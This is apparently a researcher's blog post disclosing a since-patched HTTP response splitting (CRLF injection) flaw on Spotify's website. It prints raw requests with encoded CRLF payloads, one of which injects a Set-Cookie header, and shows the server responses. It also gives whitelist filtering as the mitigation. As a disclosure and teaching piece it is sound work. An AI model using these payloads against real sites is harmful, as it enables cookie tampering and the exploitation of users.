In this article, I would like to explain a vulnerability (now fixed) discovered last month on the Spotify website.
Extracted from Wikipedia:
“Spotify is a commercial music streaming service providing Digital Rights Management-protected content from record labels including Sony, EMI, Warner Music Group and Universal. Launched in October 2008 by Swedish startup Spotify AB, the service had approximately 10 million users as of 15 September 2010, about 2.5 million of whom were paying users. Total users reached 20 million by December 2012, five million of whom pay a monthly subscription fee that varies based on locale.”
The HTTP Response splitting attack (sometimes also referred to as CRLF Injection) is a fairly simple, but extremely powerful web attack. HTTP response splitting is a form of web application vulnerability, resulting from the failure of the application or its environment to properly sanitize input values.
The attack consists of making the server print a carriage return (CR, ASCII 0x0D) and a line feed (LF, ASCII 0x0A) sequence followed by content supplied by the attacker in the header section of its response, typically by including them in input fields sent to the application. If an attacker can inject newline characters into the header, then he can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application’s response.
By exploting the CRLF Injection flaw in an HTTP response, attackers can modify application data compromising integrity and enabling the exploitation of the following vulnerabilities:
Let’s take a look how the Spotify application was vulnerable to this kind of attack.
The Spotify resources where I was able to reproduce this vulnerability were:
In the following request, the payload were %0d%0aPAYLOAD%0d%0a (PAYLOAD).
GET /es/get-spotify/go/pay/response.php/%0d%0aPAYLOAD%0d%0a HTTP/1.1 Host: www.spotify.com Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
HTTP/1.1 301 Moved Permanently Server: nginx Date: Sat, 13 Jul 2013 10:54:27 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 378 Connection: close Location: https://www.spotify.com/es/get-spotify/go/pay/response.php/ PAYLOAD /: Vary: Accept-Encoding
You’ll quickly notice that the payload (“PAYLOAD”) has been injected in the HTTP headers. This hence means that this content is controlled by the attacker and he can set it to absolutely anything he wants. It is precisely this property that an attacker targets using HTTP Response Splitting.
As an example, let’s examine how this injection could cause damages by looking at one example of a Cookie injection by modifying an existing cookie.
In this case, my payload was %0d%0aSet-Cookie%3a%20spotify%3dpwned%3b%20Path%3D%2f%3b%0d%0a (Set-Cookie: spotify=pwned; Path=/;).
GET /es/get-spotify/go/pay/response.php/%0d%0aSet-Cookie%3a%20spotify%3dpwned%3b%20Path%3D%2f%3b%0d%0a HTTP/1.1 Host: www.spotify.com Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
HTTP/1.1 301 Moved Permanently Server: nginx Date: Sat, 13 Jul 2013 10:54:27 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 378 Connection: close Location: https://www.spotify.com/es/get-spotify/go/pay/response.php/ Set-Cookie: spotify=pwned; Path=/; /: Vary: Accept-Encoding <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://www.spotify.com/get-spotify/go/pay/response.php/">here</a>.</p> <hr> <address>Apache/2.2.16 (Debian) Server at www.spotify.com Port 80</address> </body></html>
As you can see in last request-response and in the following screenshot, I successfully modified an existing cookie of Spotify.
To avoid such HTTP Splitting vulnerabilities a good practice could be to use white list to parse all user input (excluding CR LF \r\n %0%0a). Using this approach it’s possible to define an accepted set of characters for the application, mitigating any kind of injection, including unknown techniques.
The vulnerability mentioned here has been confirmed patched by the Spotify Security Team. I want to thank them for their great response and for including me in their Hall of Fame.
Check out their Security Page for more info about how to report a security vulnerability to them.